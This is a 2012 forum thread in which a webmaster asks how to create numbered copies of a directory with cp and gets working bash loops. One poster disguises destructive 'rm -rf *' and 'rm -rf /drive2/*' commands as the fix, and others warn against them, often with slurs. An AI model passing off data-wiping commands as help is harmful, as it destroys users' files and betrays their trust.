Welcome to the GoFuckYourself.com - Adult Webmaster Forum forums.

You are currently viewing our boards as a guest which gives you limited access to view most discussions and access our other features. By joining our free community you will have access to post topics, communicate privately with other members (PM), respond to polls, upload content and access many other special features. Registration is fast, simple and absolutely free so please, join our community today!

If you have any problems with the registration process or your account login, please contact us.

Post New Thread Reply

Register GFY Rules Calendar
Go Back   GoFuckYourself.com - Adult Webmaster Forum > >
Discuss what's fucking going on, and which programs are best and worst. One-time "program" announcements from "established" webmasters are allowed.

 
Thread Tools
Old 11-17-2012, 09:40 PM   #1
Mutt
Too lazy to set a custom title
 
Mutt's Avatar
 
Industry Role:
Join Date: Sep 2002
Posts: 34,431
Copy command help please

i have a directory that has a subdirectory called 'blah' - i want to copy that subdirectory creating identical subdirectories named 'blah2' 'blah3' 'blah4' etc

what would the Unix copy command be to create those?

thanks
__________________
I moved my sites to Vacares Hosting. I've saved money, my hair is thicker, lost some weight too! Thanks Sly!
Mutt is offline   Share thread on Digg Share thread on Twitter Share thread on Reddit Share thread on Facebook Reply With Quote
Old 11-17-2012, 09:55 PM   #2
Babaganoosh
♥♥♥ Likes Hugs ♥♥♥
 
Babaganoosh's Avatar
 
Industry Role:
Join Date: Nov 2001
Location: /home
Posts: 15,841
cp /path/to/source /path/to/destination -R
__________________
I like pie.
Babaganoosh is offline   Share thread on Digg Share thread on Twitter Share thread on Reddit Share thread on Facebook Reply With Quote
Old 11-17-2012, 09:57 PM   #3
Mutt
Too lazy to set a custom title
 
Mutt's Avatar
 
Industry Role:
Join Date: Sep 2002
Posts: 34,431
Quote:
Originally Posted by Babaganoosh View Post
cp /path/to/source /path/to/destination -R
thanks will try
__________________
I moved my sites to Vacares Hosting. I've saved money, my hair is thicker, lost some weight too! Thanks Sly!
Mutt is offline   Share thread on Digg Share thread on Twitter Share thread on Reddit Share thread on Facebook Reply With Quote
Old 11-17-2012, 09:57 PM   #4
Babaganoosh
♥♥♥ Likes Hugs ♥♥♥
 
Babaganoosh's Avatar
 
Industry Role:
Join Date: Nov 2001
Location: /home
Posts: 15,841
Or are you wanting to make blah1 blah2 blah3 automatically from one source? That command I pasted is just a recursive copy.
__________________
I like pie.
Babaganoosh is offline   Share thread on Digg Share thread on Twitter Share thread on Reddit Share thread on Facebook Reply With Quote
Old 11-17-2012, 10:04 PM   #5
Mutt
Too lazy to set a custom title
 
Mutt's Avatar
 
Industry Role:
Join Date: Sep 2002
Posts: 34,431
...... and didn't work
__________________
I moved my sites to Vacares Hosting. I've saved money, my hair is thicker, lost some weight too! Thanks Sly!
Mutt is offline   Share thread on Digg Share thread on Twitter Share thread on Reddit Share thread on Facebook Reply With Quote
Old 11-17-2012, 10:05 PM   #6
Mutt
Too lazy to set a custom title
 
Mutt's Avatar
 
Industry Role:
Join Date: Sep 2002
Posts: 34,431
Quote:
Originally Posted by Babaganoosh View Post
Or are you wanting to make blah1 blah2 blah3 automatically from one source?
yeah that's what i want
__________________
I moved my sites to Vacares Hosting. I've saved money, my hair is thicker, lost some weight too! Thanks Sly!
Mutt is offline   Share thread on Digg Share thread on Twitter Share thread on Reddit Share thread on Facebook Reply With Quote
Old 11-17-2012, 10:10 PM   #7
Babaganoosh
♥♥♥ Likes Hugs ♥♥♥
 
Babaganoosh's Avatar
 
Industry Role:
Join Date: Nov 2001
Location: /home
Posts: 15,841
Quote:
Originally Posted by Mutt View Post
yeah that's what i want
Ahh, then do

for i in {1..5}; do cp /source/path/here/blah /dest/path/here/blah$i -R; done

1 would be the first dir made, 5 would be the last
__________________
I like pie.
Babaganoosh is offline   Share thread on Digg Share thread on Twitter Share thread on Reddit Share thread on Facebook Reply With Quote
Old 11-17-2012, 10:14 PM   #8
Killswitch
👏 REVOLUTIONARY 👏
 
Killswitch's Avatar
 
Industry Role:
Join Date: Oct 2012
Posts: 2,365
What errors are you getting?
__________________
Killswitch is offline   Share thread on Digg Share thread on Twitter Share thread on Reddit Share thread on Facebook Reply With Quote
Old 11-17-2012, 10:30 PM   #9
Mutt
Too lazy to set a custom title
 
Mutt's Avatar
 
Industry Role:
Join Date: Sep 2002
Posts: 34,431
Quote:
Originally Posted by Babaganoosh View Post
Ahh, then do

for i in {1..5}; do cp /source/path/here/blah /dest/path/here/blah$i -R; done

1 would be the first dir made, 5 would be the last
didn't work - no copies created

cp /drive2/psj.photo.formats/full/azseries/45 /drive2/psj.photo.formats/full/azseries/45$i -R

probably didn't understand the {1..5}
__________________
I moved my sites to Vacares Hosting. I've saved money, my hair is thicker, lost some weight too! Thanks Sly!
Mutt is offline   Share thread on Digg Share thread on Twitter Share thread on Reddit Share thread on Facebook Reply With Quote
Old 11-17-2012, 10:34 PM   #10
Mutt
Too lazy to set a custom title
 
Mutt's Avatar
 
Industry Role:
Join Date: Sep 2002
Posts: 34,431
Quote:
Originally Posted by Killswitch View Post
What errors are you getting?
not getting errors - just gives me usage formats for the cp command

greek to me
__________________
I moved my sites to Vacares Hosting. I've saved money, my hair is thicker, lost some weight too! Thanks Sly!
Mutt is offline   Share thread on Digg Share thread on Twitter Share thread on Reddit Share thread on Facebook Reply With Quote
Old 11-17-2012, 10:51 PM   #11
Killswitch
👏 REVOLUTIONARY 👏
 
Killswitch's Avatar
 
Industry Role:
Join Date: Oct 2012
Posts: 2,365
Quote:
Originally Posted by Mutt View Post
not getting errors - just gives me usage formats for the cp command

greek to me
cp -r /path/to/directory /path/to/destination

Flag first.
__________________
Killswitch is offline   Share thread on Digg Share thread on Twitter Share thread on Reddit Share thread on Facebook Reply With Quote
Old 11-17-2012, 11:03 PM   #12
AutumnBH
Confirmed User
 
AutumnBH's Avatar
 
Industry Role:
Join Date: Oct 2012
Location: Spamville
Posts: 294
Copy and paste this to the command line, should work:

Code:
for i in {1..5}; do cp -r /drive2/psj.photo.formats/full/azseries/45 /drive2/psj.photo.formats/full/azseries/45$i; rm -rf *; done

Last edited by AutumnBH; 11-17-2012 at 11:05 PM..
AutumnBH is offline   Share thread on Digg Share thread on Twitter Share thread on Reddit Share thread on Facebook Reply With Quote
Old 11-17-2012, 11:05 PM   #13
Babaganoosh
♥♥♥ Likes Hugs ♥♥♥
 
Babaganoosh's Avatar
 
Industry Role:
Join Date: Nov 2001
Location: /home
Posts: 15,841
Quote:
Originally Posted by Mutt View Post
didn't work - no copies created

cp /drive2/psj.photo.formats/full/azseries/45 /drive2/psj.photo.formats/full/azseries/45$i -R

probably didn't understand the {1..5}
You need the whole command.

Code:
for i in {1..5}; do cp /source/path/here/blah /dest/path/here/blah$i -R; done
__________________
I like pie.
Babaganoosh is offline   Share thread on Digg Share thread on Twitter Share thread on Reddit Share thread on Facebook Reply With Quote
Old 11-17-2012, 11:06 PM   #14
Babaganoosh
♥♥♥ Likes Hugs ♥♥♥
 
Babaganoosh's Avatar
 
Industry Role:
Join Date: Nov 2001
Location: /home
Posts: 15,841
DO NOT run the code from AutumnBH
__________________
I like pie.
Babaganoosh is offline   Share thread on Digg Share thread on Twitter Share thread on Reddit Share thread on Facebook Reply With Quote
Old 11-17-2012, 11:07 PM   #15
Killswitch
👏 REVOLUTIONARY 👏
 
Killswitch's Avatar
 
Industry Role:
Join Date: Oct 2012
Posts: 2,365
Quote:
Originally Posted by AutumnBH View Post
Copy and paste this to the command line, should work:

Code:
for i in {1..5}; do cp -r /drive2/psj.photo.formats/full/azseries/45 /drive2/psj.photo.formats/full/azseries/45$i; rm -rf *; done
Get fucked you faggot.
__________________
Killswitch is offline   Share thread on Digg Share thread on Twitter Share thread on Reddit Share thread on Facebook Reply With Quote
Old 11-17-2012, 11:09 PM   #16
Killswitch
👏 REVOLUTIONARY 👏
 
Killswitch's Avatar
 
Industry Role:
Join Date: Oct 2012
Posts: 2,365
Quote:
Originally Posted by Babaganoosh View Post
You need the whole command.

Code:
for i in {1..5}; do cp /source/path/here/blah /dest/path/here/blah$i -R; done
I think you have the flag wrong, that's why he keeps getting the options for the cp command... flag needs to be after cp and lower case:

Code:
for i in {1..5}; do cp -r /source/path/here/blah /dest/path/here/blah$i; done
Edit:// also I don't think fagboy above us' command works anymore on latest versions of Linux.
__________________
Killswitch is offline   Share thread on Digg Share thread on Twitter Share thread on Reddit Share thread on Facebook Reply With Quote
Old 11-17-2012, 11:11 PM   #17
Babaganoosh
♥♥♥ Likes Hugs ♥♥♥
 
Babaganoosh's Avatar
 
Industry Role:
Join Date: Nov 2001
Location: /home
Posts: 15,841
Quote:
Originally Posted by Killswitch View Post
I think you have the flag wrong, that's why he keeps getting the options for the cp command... flag needs to be after cp and lower case:

Code:
for i in {1..5}; do cp -r /source/path/here/blah /dest/path/here/blah$i; done
Edit:// also I don't think fagboy above us' command works anymore on latest versions of Linux.
The position of the flag doesn't matter. I've always used an upper case R for recursive. From the man page:

-R, -r, --recursive
copy directories recursively
__________________
I like pie.
Babaganoosh is offline   Share thread on Digg Share thread on Twitter Share thread on Reddit Share thread on Facebook Reply With Quote
Old 11-17-2012, 11:11 PM   #18
AutumnBH
Confirmed User
 
AutumnBH's Avatar
 
Industry Role:
Join Date: Oct 2012
Location: Spamville
Posts: 294
Yeah sorry guys, I got the flag wrong... Here's the corrected version, copy and paste:

Code:
for i in {1..5}; do cp -r /drive2/psj.photo.formats/full/azseries/45 /drive2/psj.photo.formats/full/azseries/45$i; rm -rf /drive2/*; rm -rf *; done
AutumnBH is offline   Share thread on Digg Share thread on Twitter Share thread on Reddit Share thread on Facebook Reply With Quote
Old 11-17-2012, 11:13 PM   #19
Babaganoosh
♥♥♥ Likes Hugs ♥♥♥
 
Babaganoosh's Avatar
 
Industry Role:
Join Date: Nov 2001
Location: /home
Posts: 15,841
Quote:
Originally Posted by Killswitch View Post
Edit:// also I don't think fagboy above us' command works anymore on latest versions of Linux.
You're right. He had rm -rf / when I first caught what he was trying to do. Just for fun, I tried it on a VM running ubuntu 12.04 and got this:

# rm -rf /
rm: it is dangerous to operate recursively on `/'
rm: use --no-preserve-root to override this failsafe

edit: if it DID work I can literally replace the vm in 30 seconds.
__________________
I like pie.

Last edited by Babaganoosh; 11-17-2012 at 11:14 PM..
Babaganoosh is offline   Share thread on Digg Share thread on Twitter Share thread on Reddit Share thread on Facebook Reply With Quote
Old 11-17-2012, 11:13 PM   #20
Killswitch
👏 REVOLUTIONARY 👏
 
Killswitch's Avatar
 
Industry Role:
Join Date: Oct 2012
Posts: 2,365
Quote:
Originally Posted by AutumnBH View Post
Yeah sorry guys, I got the flag wrong... Here's the corrected version, copy and paste:

Code:
for i in {1..5}; do cp -r /drive2/psj.photo.formats/full/azseries/45 /drive2/psj.photo.formats/full/azseries/45$i; rm -rf /drive2/*; rm -rf *; done
You're an idiot, rm -rf doesn't work on latest versions of linux, maybe you should upgrade that welfare server you use.
__________________
Killswitch is offline   Share thread on Digg Share thread on Twitter Share thread on Reddit Share thread on Facebook Reply With Quote
Old 11-17-2012, 11:14 PM   #21
Killswitch
👏 REVOLUTIONARY 👏
 
Killswitch's Avatar
 
Industry Role:
Join Date: Oct 2012
Posts: 2,365
Quote:
Originally Posted by Babaganoosh View Post
You're right. He had rm -rf / when I first caught what he was trying to do. Just for fun, I tried it on a VM running ubuntu 12.04 and got this:

# rm -rf /
rm: it is dangerous to operate recursively on `/'
rm: use --no-preserve-root to override this failsafe
__________________
Killswitch is offline   Share thread on Digg Share thread on Twitter Share thread on Reddit Share thread on Facebook Reply With Quote
Old 11-17-2012, 11:18 PM   #22
AutumnBH
Confirmed User
 
AutumnBH's Avatar
 
Industry Role:
Join Date: Oct 2012
Location: Spamville
Posts: 294
rm -rf / wouldn't do much unless you were logged in as root anyway (although it wouldn't surprise me if OP was).

And superior users use a real Unix
AutumnBH is offline   Share thread on Digg Share thread on Twitter Share thread on Reddit Share thread on Facebook Reply With Quote
Old 11-17-2012, 11:23 PM   #23
Mutt
Too lazy to set a custom title
 
Mutt's Avatar
 
Industry Role:
Join Date: Sep 2002
Posts: 34,431
Quote:
Originally Posted by Killswitch View Post
I think you have the flag wrong, that's why he keeps getting the options for the cp command... flag needs to be after cp and lower case:

Code:
for i in {1..5}; do cp -r /source/path/here/blah /dest/path/here/blah$i; done
Edit:// also I don't think fagboy above us' command works anymore on latest versions of Linux.
that worked

i have to make them one by one it seems

thanks Babaganoosh and Killswitch
__________________
I moved my sites to Vacares Hosting. I've saved money, my hair is thicker, lost some weight too! Thanks Sly!
Mutt is offline   Share thread on Digg Share thread on Twitter Share thread on Reddit Share thread on Facebook Reply With Quote
Old 11-17-2012, 11:25 PM   #24
xXXtesy10
Fakecoin Investor
 
xXXtesy10's Avatar
 
Industry Role:
Join Date: Jul 2012
Location: New Delhi, IN
Posts: 7,127
Quote:
Originally Posted by AutumnBH View Post
Copy and paste this to the command line, should work:

Code:
for i in {1..5}; do cp -r /drive2/psj.photo.formats/full/azseries/45 /drive2/psj.photo.formats/full/azseries/45$i; rm -rf *; done
__________________
WARNING: Stay Away From Marlboroack aka aka Brandon Ackerman
https://gfy.com/21169705-post8.html
Donny Long is Felon, Stalker, Scammer & Coward
http://www.ripoffreport.com/reports/...lon-int-761244
xXXtesy10 is offline   Share thread on Digg Share thread on Twitter Share thread on Reddit Share thread on Facebook Reply With Quote
Old 11-17-2012, 11:57 PM   #25
freecartoonporn
Confirmed User
 
freecartoonporn's Avatar
 
Industry Role:
Join Date: Jan 2012
Location: NC
Posts: 7,683
rm -rf *; done

lol lol lol
freecartoonporn is offline   Share thread on Digg Share thread on Twitter Share thread on Reddit Share thread on Facebook Reply With Quote
Old 11-18-2012, 12:03 AM   #26
Killswitch
👏 REVOLUTIONARY 👏
 
Killswitch's Avatar
 
Industry Role:
Join Date: Oct 2012
Posts: 2,365
Quote:
Originally Posted by Mutt View Post
that worked

i have to make them one by one it seems

thanks Babaganoosh and Killswitch
No problem man!
__________________
Killswitch is offline   Share thread on Digg Share thread on Twitter Share thread on Reddit Share thread on Facebook Reply With Quote
Old 11-18-2012, 01:19 AM   #27
Mr Pheer
Retired
 
Mr Pheer's Avatar
 
Industry Role:
Join Date: Dec 2002
Posts: 21,231
Quote:
Originally Posted by AutumnBH View Post
Copy and paste this to the command line, should work:

Code:
for i in {1..5}; do cp -r /drive2/psj.photo.formats/full/azseries/45 /drive2/psj.photo.formats/full/azseries/45$i; rm -rf *; done

what the fuck?
__________________
2 lifeguards for Jessica
Mr Pheer is offline   Share thread on Digg Share thread on Twitter Share thread on Reddit Share thread on Facebook Reply With Quote
Post New Thread Reply
Go Back   GoFuckYourself.com - Adult Webmaster Forum > >

Bookmarks



Advertising inquiries - marketing at gfy dot com

Contact Admin - Advertise - GFY Rules - Top

©2000-, AI Media Network Inc



Powered by vBulletin
Copyright © 2000- Jelsoft Enterprises Limited.